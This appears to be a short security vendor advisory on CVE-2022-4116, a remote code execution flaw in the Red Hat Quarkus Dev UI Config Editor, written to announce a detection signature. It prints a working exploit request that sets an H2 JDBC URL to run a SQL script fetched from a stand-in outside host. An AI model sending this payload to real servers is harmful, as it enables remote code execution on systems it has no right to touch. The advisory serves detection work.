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Red Hat Quarkus Java Framework Remote Code Execution (CVE-2022-4116)

Application Details

Quarkus was created to enable Java developers to create applications for a modern, cloud-native world.


Red Hat Quarkus could allow a remote attacker to execute arbitrary code on the system, caused by a flaw in the Dev UI Config Editor.


By sending a specially crafted request, an attacker could exploit this vulnerability to execute arbitrary code on the system.

POST /q/dev/io.quarkus.quarkus-vertx-http/config

PAYLOAD - action=updateProperty&name=quarkus.datasource.jdbc.url&value=jdbc%3Ah2%3Amem%3Atestdb%3BINIT%3Drunscript+from+'http%3A%2F%2Fsomerandomsite.bla%3A8081%2Fexec.sql'


By turning this into a traffic file and matching rule, we are able to detect attempts to perform remote code execution on an affected system.


Idappcom have created signature 8023375 for this vulnerability.


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